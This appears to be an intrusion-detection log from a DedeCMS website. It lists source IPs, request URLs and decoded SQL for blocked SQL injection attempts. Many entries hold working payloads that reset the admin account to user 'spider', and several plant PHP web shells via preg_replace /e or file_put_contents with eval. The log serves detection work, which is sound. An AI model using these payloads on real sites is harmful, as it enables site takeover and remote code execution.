171.217.250.11||/plus/download.php?open=1&arrs1%5B%5D=99&arrs1%5B%5D=102&arrs1%5B%5D=103&arrs1%5B%5D=95&arrs1%5B%5D=100&arrs1%5B%5D=98&arrs1%5B%5D=112&arrs1%5B%5D=114&arrs1%5B%5D=101&arrs1%5B%5D=102&arrs1%5B%5D=105&arrs1%5B%5D=120&arrs2%5B%5D=103&arrs2%5B%5D=100&arrs2%5B%5D=109&arrs2%5B%5D=105&arrs2%5B%5D=110&arrs2%5B%5D=96&arrs2%5B%5D=32&arrs2%5B%5D=83&arrs2%5B%5D=69&arrs2%5B%5D=84&arrs2%5B%5D=32&arrs2%5B%5D=96&arrs2%5B%5D=117&arrs2%5B%5D=115&arrs2%5B%5D=101&arrs2%5B%5D=114&arrs2%5B%5D=105&arrs2%5B%5D=100&arrs2%5B%5D=96&arrs2%5B%5D=61&arrs2%5B%5D=39&arrs2%5B%5D=115&arrs2%5B%5D=112&arrs2%5B%5D=105&arrs2%5B%5D=100&arrs2%5B%5D=101&arrs2%5B%5D=114&arrs2%5B%5D=39&arrs2%5B%5D=44&arrs2%5B%5D=32&arrs2%5B%5D=96&arrs2%5B%5D=112&arrs2%5B%5D=119&arrs2%5B%5D=100&arrs2%5B%5D=96&arrs2%5B%5D=61&arrs2%5B%5D=39&arrs2%5B%5D=102&arrs2%5B%5D=50&arrs2%5B%5D=57&arrs2%5B%5D=55&arrs2%5B%5D=97&arrs2%5B%5D=53&arrs2%5B%5D=55&arrs2%5B%5D=97&arrs2%5B%5D=53&arrs2%5B%5D=97&arrs2%5B%5D=55&arrs2%5B%5D=52&arrs2%5B%5D=51&arrs2%5B%5D=56&arrs2%5B%5D=57&arrs2%5B%5D=52&arrs2%5B%5D=97&arrs2%5B%5D=48&arrs2%5B%5D=101&arrs2%5B%5D=52&arrs2%5B%5D=39&arrs2%5B%5D=32&arrs2%5B%5D=119&arrs2%5B%5D=104&arrs2%5B%5D=101&arrs2%5B%5D=114&arrs2%5B%5D=101&arrs2%5B%5D=32&arrs2%5B%5D=105&arrs2%5B%5D=100&arrs2%5B%5D=61&arrs2%5B%5D=49&arrs2%5B%5D=32&arrs2%5B%5D=35|| INSERT INTO `dede_gdmin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #downloads`(`hash`,`id`,`downloads`) VALUES('d41d8cd98f00b204e9800998ecf8427e','0',1); ||comment detect
110.190.178.182||/plus/erraddsave.php?dopost=saveedit&a=b&arrs1%5B%5D=99&arrs1%5B%5D=102&arrs1%5B%5D=103&arrs1%5B%5D=95&arrs1%5B%5D=100&arrs1%5B%5D=98&arrs1%5B%5D=112&arrs1%5B%5D=114&arrs1%5B%5D=101&arrs1%5B%5D=102&arrs1%5B%5D=105&arrs1%5B%5D=120&arrs2%5B%5D=103&arrs2%5B%5D=100&arrs2%5B%5D=109&arrs2%5B%5D=105&arrs2%5B%5D=110&arrs2%5B%5D=96&arrs2%5B%5D=32&arrs2%5B%5D=83&arrs2%5B%5D=69&arrs2%5B%5D=84&arrs2%5B%5D=32&arrs2%5B%5D=96&arrs2%5B%5D=117&arrs2%5B%5D=115&arrs2%5B%5D=101&arrs2%5B%5D=114&arrs2%5B%5D=105&arrs2%5B%5D=100&arrs2%5B%5D=96&arrs2%5B%5D=61&arrs2%5B%5D=39&arrs2%5B%5D=115&arrs2%5B%5D=112&arrs2%5B%5D=105&arrs2%5B%5D=100&arrs2%5B%5D=101&arrs2%5B%5D=114&arrs2%5B%5D=39&arrs2%5B%5D=44&arrs2%5B%5D=32&arrs2%5B%5D=96&arrs2%5B%5D=112&arrs2%5B%5D=119&arrs2%5B%5D=100&arrs2%5B%5D=96&arrs2%5B%5D=61&arrs2%5B%5D=39&arrs2%5B%5D=102&arrs2%5B%5D=50&arrs2%5B%5D=57&arrs2%5B%5D=55&arrs2%5B%5D=97&arrs2%5B%5D=53&arrs2%5B%5D=55&arrs2%5B%5D=97&arrs2%5B%5D=53&arrs2%5B%5D=97&arrs2%5B%5D=55&arrs2%5B%5D=52&arrs2%5B%5D=51&arrs2%5B%5D=56&arrs2%5B%5D=57&arrs2%5B%5D=52&arrs2%5B%5D=97&arrs2%5B%5D=48&arrs2%5B%5D=101&arrs2%5B%5D=52&arrs2%5B%5D=39&arrs2%5B%5D=32&arrs2%5B%5D=119&arrs2%5B%5D=104&arrs2%5B%5D=101&arrs2%5B%5D=114&arrs2%5B%5D=101&arrs2%5B%5D=32&arrs2%5B%5D=105&arrs2%5B%5D=100&arrs2%5B%5D=61&arrs2%5B%5D=49&arrs2%5B%5D=32&arrs2%5B%5D=35||INSERT INTO `dede_gdmin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #erradd`(aid,mid,title,type,errtxt,oktxt,sendtime)
                  VALUES ('0','0','','0','','','1647970718'); ||comment detect
117.69.235.228||/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35|| INSERT INTO `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #downloads`(`hash`,`id`,`downloads`) VALUES('d41d8cd98f00b204e9800998ecf8427e','0',1); ||comment detect
115.29.161.186||/plus/erraddsave.php||INSERT INTO `dede_mytag` (aid,normbody) VALUES(9527,'<?php echo ''dedecms0day<br>diaosi'';@preg_replace(''/[copyright]/e'',$_REQUEST[''diaosi''],''error'');?>'); erradd`(aid,mid,title,type,errtxt,oktxt,sendtime)
                  VALUES ('0','0','','0','','','1648549888'); ||unusual character
129.249.149.46||/plus/download.php?open=1&arrs1%5B%5D=99&arrs1%5B%5D=102&arrs1%5B%5D=103&arrs1%5B%5D=95&arrs1%5B%5D=100&arrs1%5B%5D=98&arrs1%5B%5D=112&arrs1%5B%5D=114&arrs1%5B%5D=101&arrs1%5B%5D=102&arrs1%5B%5D=105&arrs1%5B%5D=120&arrs2%5B%5D=109&arrs2%5B%5D=121&arrs2%5B%5D=97&arrs2%5B%5D=100&arrs2%5B%5D=96&arrs2%5B%5D=32&arrs2%5B%5D=83&arrs2%5B%5D=69&arrs2%5B%5D=84&arrs2%5B%5D=32&arrs2%5B%5D=96&arrs2%5B%5D=110&arrs2%5B%5D=111&arrs2%5B%5D=114&arrs2%5B%5D=109&arrs2%5B%5D=98&arrs2%5B%5D=111&arrs2%5B%5D=100&arrs2%5B%5D=121&arrs2%5B%5D=96&arrs2%5B%5D=32&arrs2%5B%5D=61&arrs2%5B%5D=32&arrs2%5B%5D=39&arrs2%5B%5D=60&arrs2%5B%5D=63&arrs2%5B%5D=112&arrs2%5B%5D=104&arrs2%5B%5D=112&arrs2%5B%5D=32&arrs2%5B%5D=102&arrs2%5B%5D=105&arrs2%5B%5D=108&arrs2%5B%5D=101&arrs2%5B%5D=95&arrs2%5B%5D=112&arrs2%5B%5D=117&arrs2%5B%5D=116&arrs2%5B%5D=95&arrs2%5B%5D=99&arrs2%5B%5D=111&arrs2%5B%5D=110&arrs2%5B%5D=116&arrs2%5B%5D=101&arrs2%5B%5D=110&arrs2%5B%5D=116&arrs2%5B%5D=115&arrs2%5B%5D=40&arrs2%5B%5D=39&arrs2%5B%5D=39&arrs2%5B%5D=109&arrs2%5B%5D=111&arrs2%5B%5D=111&arrs2%5B%5D=110&arrs2%5B%5D=46&arrs2%5B%5D=112&arrs2%5B%5D=104&arrs2%5B%5D=112&arrs2%5B%5D=39&arrs2%5B%5D=39&arrs2%5B%5D=44&arrs2%5B%5D=39&arrs2%5B%5D=39&arrs2%5B%5D=60&arrs2%5B%5D=63&arrs2%5B%5D=112&arrs2%5B%5D=104&arrs2%5B%5D=112&arrs2%5B%5D=32&arrs2%5B%5D=101&arrs2%5B%5D=118&arrs2%5B%5D=97&arrs2%5B%5D=108&arrs2%5B%5D=40&ar|| INSERT INTO `dede_myad` SET `normbody` = '<?php file_put_contents(''moon.php'',''<?php eval(downloads`(`hash`,`id`,`downloads`) VALUES('d41d8cd98f00b204e9800998ecf8427e','0',1); ||unusual character
219.19.49.83||/plus/download.php?open=1&arrs1%5B%5D=99&arrs1%5B%5D=102&arrs1%5B%5D=103&arrs1%5B%5D=95&arrs1%5B%5D=100&arrs1%5B%5D=98&arrs1%5B%5D=112&arrs1%5B%5D=114&arrs1%5B%5D=101&arrs1%5B%5D=102&arrs1%5B%5D=105&arrs1%5B%5D=120&arrs2%5B%5D=97&arrs2%5B%5D=100&arrs2%5B%5D=109&arrs2%5B%5D=105&arrs2%5B%5D=110&arrs2%5B%5D=96&arrs2%5B%5D=32&arrs2%5B%5D=83&arrs2%5B%5D=69&arrs2%5B%5D=84&arrs2%5B%5D=32&arrs2%5B%5D=96&arrs2%5B%5D=117&arrs2%5B%5D=115&arrs2%5B%5D=101&arrs2%5B%5D=114&arrs2%5B%5D=105&arrs2%5B%5D=100&arrs2%5B%5D=96&arrs2%5B%5D=61&arrs2%5B%5D=39&arrs2%5B%5D=115&arrs2%5B%5D=112&arrs2%5B%5D=105&arrs2%5B%5D=100&arrs2%5B%5D=101&arrs2%5B%5D=114&arrs2%5B%5D=39&arrs2%5B%5D=44&arrs2%5B%5D=32&arrs2%5B%5D=96&arrs2%5B%5D=112&arrs2%5B%5D=119&arrs2%5B%5D=100&arrs2%5B%5D=96&arrs2%5B%5D=61&arrs2%5B%5D=39&arrs2%5B%5D=102&arrs2%5B%5D=50&arrs2%5B%5D=57&arrs2%5B%5D=55&arrs2%5B%5D=97&arrs2%5B%5D=53&arrs2%5B%5D=55&arrs2%5B%5D=97&arrs2%5B%5D=53&arrs2%5B%5D=97&arrs2%5B%5D=55&arrs2%5B%5D=52&arrs2%5B%5D=51&arrs2%5B%5D=56&arrs2%5B%5D=57&arrs2%5B%5D=52&arrs2%5B%5D=97&arrs2%5B%5D=48&arrs2%5B%5D=101&arrs2%5B%5D=52&arrs2%5B%5D=39&arrs2%5B%5D=32&arrs2%5B%5D=119&arrs2%5B%5D=104&arrs2%5B%5D=101&arrs2%5B%5D=114&arrs2%5B%5D=101&arrs2%5B%5D=32&arrs2%5B%5D=105&arrs2%5B%5D=100&arrs2%5B%5D=61&arrs2%5B%5D=49&arrs2%5B%5D=32&arrs2%5B%5D=35|| INSERT INTO `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #downloads`(`hash`,`id`,`downloads`) VALUES('d41d8cd98f00b204e9800998ecf8427e','0',1); ||comment detect
125.65.229.38||/plus/erraddsave.php?dopost=saveedit&a=b&arrs1%5B%5D=99&arrs1%5B%5D=102&arrs1%5B%5D=103&arrs1%5B%5D=95&arrs1%5B%5D=100&arrs1%5B%5D=98&arrs1%5B%5D=112&arrs1%5B%5D=114&arrs1%5B%5D=101&arrs1%5B%5D=102&arrs1%5B%5D=105&arrs1%5B%5D=120&arrs2%5B%5D=103&arrs2%5B%5D=100&arrs2%5B%5D=109&arrs2%5B%5D=105&arrs2%5B%5D=110&arrs2%5B%5D=96&arrs2%5B%5D=32&arrs2%5B%5D=83&arrs2%5B%5D=69&arrs2%5B%5D=84&arrs2%5B%5D=32&arrs2%5B%5D=96&arrs2%5B%5D=117&arrs2%5B%5D=115&arrs2%5B%5D=101&arrs2%5B%5D=114&arrs2%5B%5D=105&arrs2%5B%5D=100&arrs2%5B%5D=96&arrs2%5B%5D=61&arrs2%5B%5D=39&arrs2%5B%5D=115&arrs2%5B%5D=112&arrs2%5B%5D=105&arrs2%5B%5D=100&arrs2%5B%5D=101&arrs2%5B%5D=114&arrs2%5B%5D=39&arrs2%5B%5D=44&arrs2%5B%5D=32&arrs2%5B%5D=96&arrs2%5B%5D=112&arrs2%5B%5D=119&arrs2%5B%5D=100&arrs2%5B%5D=96&arrs2%5B%5D=61&arrs2%5B%5D=39&arrs2%5B%5D=102&arrs2%5B%5D=50&arrs2%5B%5D=57&arrs2%5B%5D=55&arrs2%5B%5D=97&arrs2%5B%5D=53&arrs2%5B%5D=55&arrs2%5B%5D=97&arrs2%5B%5D=53&arrs2%5B%5D=97&arrs2%5B%5D=55&arrs2%5B%5D=52&arrs2%5B%5D=51&arrs2%5B%5D=56&arrs2%5B%5D=57&arrs2%5B%5D=52&arrs2%5B%5D=97&arrs2%5B%5D=48&arrs2%5B%5D=101&arrs2%5B%5D=52&arrs2%5B%5D=39&arrs2%5B%5D=32&arrs2%5B%5D=119&arrs2%5B%5D=104&arrs2%5B%5D=101&arrs2%5B%5D=114&arrs2%5B%5D=101&arrs2%5B%5D=32&arrs2%5B%5D=105&arrs2%5B%5D=100&arrs2%5B%5D=61&arrs2%5B%5D=49&arrs2%5B%5D=32&arrs2%5B%5D=35||INSERT INTO `dede_gdmin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #erradd`(aid,mid,title,type,errtxt,oktxt,sendtime)
                  VALUES ('0','0','','0','','','1650263157'); ||comment detect
110.190.179.143||/plus/erraddsave.php?dopost=saveedit&a=b&arrs1%5B%5D=99&arrs1%5B%5D=102&arrs1%5B%5D=103&arrs1%5B%5D=95&arrs1%5B%5D=100&arrs1%5B%5D=98&arrs1%5B%5D=112&arrs1%5B%5D=114&arrs1%5B%5D=101&arrs1%5B%5D=102&arrs1%5B%5D=105&arrs1%5B%5D=120&arrs2%5B%5D=103&arrs2%5B%5D=100&arrs2%5B%5D=109&arrs2%5B%5D=105&arrs2%5B%5D=110&arrs2%5B%5D=96&arrs2%5B%5D=32&arrs2%5B%5D=83&arrs2%5B%5D=69&arrs2%5B%5D=84&arrs2%5B%5D=32&arrs2%5B%5D=96&arrs2%5B%5D=117&arrs2%5B%5D=115&arrs2%5B%5D=101&arrs2%5B%5D=114&arrs2%5B%5D=105&arrs2%5B%5D=100&arrs2%5B%5D=96&arrs2%5B%5D=61&arrs2%5B%5D=39&arrs2%5B%5D=115&arrs2%5B%5D=112&arrs2%5B%5D=105&arrs2%5B%5D=100&arrs2%5B%5D=101&arrs2%5B%5D=114&arrs2%5B%5D=39&arrs2%5B%5D=44&arrs2%5B%5D=32&arrs2%5B%5D=96&arrs2%5B%5D=112&arrs2%5B%5D=119&arrs2%5B%5D=100&arrs2%5B%5D=96&arrs2%5B%5D=61&arrs2%5B%5D=39&arrs2%5B%5D=102&arrs2%5B%5D=50&arrs2%5B%5D=57&arrs2%5B%5D=55&arrs2%5B%5D=97&arrs2%5B%5D=53&arrs2%5B%5D=55&arrs2%5B%5D=97&arrs2%5B%5D=53&arrs2%5B%5D=97&arrs2%5B%5D=55&arrs2%5B%5D=52&arrs2%5B%5D=51&arrs2%5B%5D=56&arrs2%5B%5D=57&arrs2%5B%5D=52&arrs2%5B%5D=97&arrs2%5B%5D=48&arrs2%5B%5D=101&arrs2%5B%5D=52&arrs2%5B%5D=39&arrs2%5B%5D=32&arrs2%5B%5D=119&arrs2%5B%5D=104&arrs2%5B%5D=101&arrs2%5B%5D=114&arrs2%5B%5D=101&arrs2%5B%5D=32&arrs2%5B%5D=105&arrs2%5B%5D=100&arrs2%5B%5D=61&arrs2%5B%5D=49&arrs2%5B%5D=32&arrs2%5B%5D=35||INSERT INTO `dede_gdmin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #erradd`(aid,mid,title,type,errtxt,oktxt,sendtime)
                  VALUES ('0','0','','0','','','1650468959'); ||comment detect
182.145.126.80||/plus/download.php?open=1&arrs1%5B%5D=99&arrs1%5B%5D=102&arrs1%5B%5D=103&arrs1%5B%5D=95&arrs1%5B%5D=100&arrs1%5B%5D=98&arrs1%5B%5D=112&arrs1%5B%5D=114&arrs1%5B%5D=101&arrs1%5B%5D=102&arrs1%5B%5D=105&arrs1%5B%5D=120&arrs2%5B%5D=103&arrs2%5B%5D=100&arrs2%5B%5D=109&arrs2%5B%5D=105&arrs2%5B%5D=110&arrs2%5B%5D=96&arrs2%5B%5D=32&arrs2%5B%5D=83&arrs2%5B%5D=69&arrs2%5B%5D=84&arrs2%5B%5D=32&arrs2%5B%5D=96&arrs2%5B%5D=117&arrs2%5B%5D=115&arrs2%5B%5D=101&arrs2%5B%5D=114&arrs2%5B%5D=105&arrs2%5B%5D=100&arrs2%5B%5D=96&arrs2%5B%5D=61&arrs2%5B%5D=39&arrs2%5B%5D=115&arrs2%5B%5D=112&arrs2%5B%5D=105&arrs2%5B%5D=100&arrs2%5B%5D=101&arrs2%5B%5D=114&arrs2%5B%5D=39&arrs2%5B%5D=44&arrs2%5B%5D=32&arrs2%5B%5D=96&arrs2%5B%5D=112&arrs2%5B%5D=119&arrs2%5B%5D=100&arrs2%5B%5D=96&arrs2%5B%5D=61&arrs2%5B%5D=39&arrs2%5B%5D=102&arrs2%5B%5D=50&arrs2%5B%5D=57&arrs2%5B%5D=55&arrs2%5B%5D=97&arrs2%5B%5D=53&arrs2%5B%5D=55&arrs2%5B%5D=97&arrs2%5B%5D=53&arrs2%5B%5D=97&arrs2%5B%5D=55&arrs2%5B%5D=52&arrs2%5B%5D=51&arrs2%5B%5D=56&arrs2%5B%5D=57&arrs2%5B%5D=52&arrs2%5B%5D=97&arrs2%5B%5D=48&arrs2%5B%5D=101&arrs2%5B%5D=52&arrs2%5B%5D=39&arrs2%5B%5D=32&arrs2%5B%5D=119&arrs2%5B%5D=104&arrs2%5B%5D=101&arrs2%5B%5D=114&arrs2%5B%5D=101&arrs2%5B%5D=32&arrs2%5B%5D=105&arrs2%5B%5D=100&arrs2%5B%5D=61&arrs2%5B%5D=49&arrs2%5B%5D=32&arrs2%5B%5D=35|| INSERT INTO `dede_gdmin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #downloads`(`hash`,`id`,`downloads`) VALUES('d41d8cd98f00b204e9800998ecf8427e','0',1); ||comment detect